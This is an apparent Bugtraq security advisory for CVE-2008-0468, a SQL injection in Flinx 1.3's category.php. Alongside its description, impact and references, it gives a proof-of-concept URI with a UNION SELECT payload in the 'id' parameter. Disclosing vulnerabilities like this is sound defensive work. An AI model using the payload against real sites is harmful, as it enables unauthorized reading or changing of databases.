Flinx 'category.php' SQL Injection Vulnerability

Bugtraq ID:	27448
Class:	Input Validation Error
CVE:	CVE-2008-0468
Remote:	Yes
Local:	No
Published:	Jan 25 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	H-T Team discovered this vulnerability.
Vulnerable:	Flinx Flinx 1.3
Not Vulnerable:

Flinx 'category.php' SQL Injection Vulnerability

Flinx is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects Flinx 1.3 and prior versions.

Flinx 'category.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/flinx/category.php?id=-999 union select name from flinx_cat--

Flinx 'category.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Flinx 'category.php' SQL Injection Vulnerability

References:

• flinx <= 1.3 (category.php id) Remote SQL Injection Vulnerability (H-T Team)
  
• Flinx Tutorials (CodeGrrl)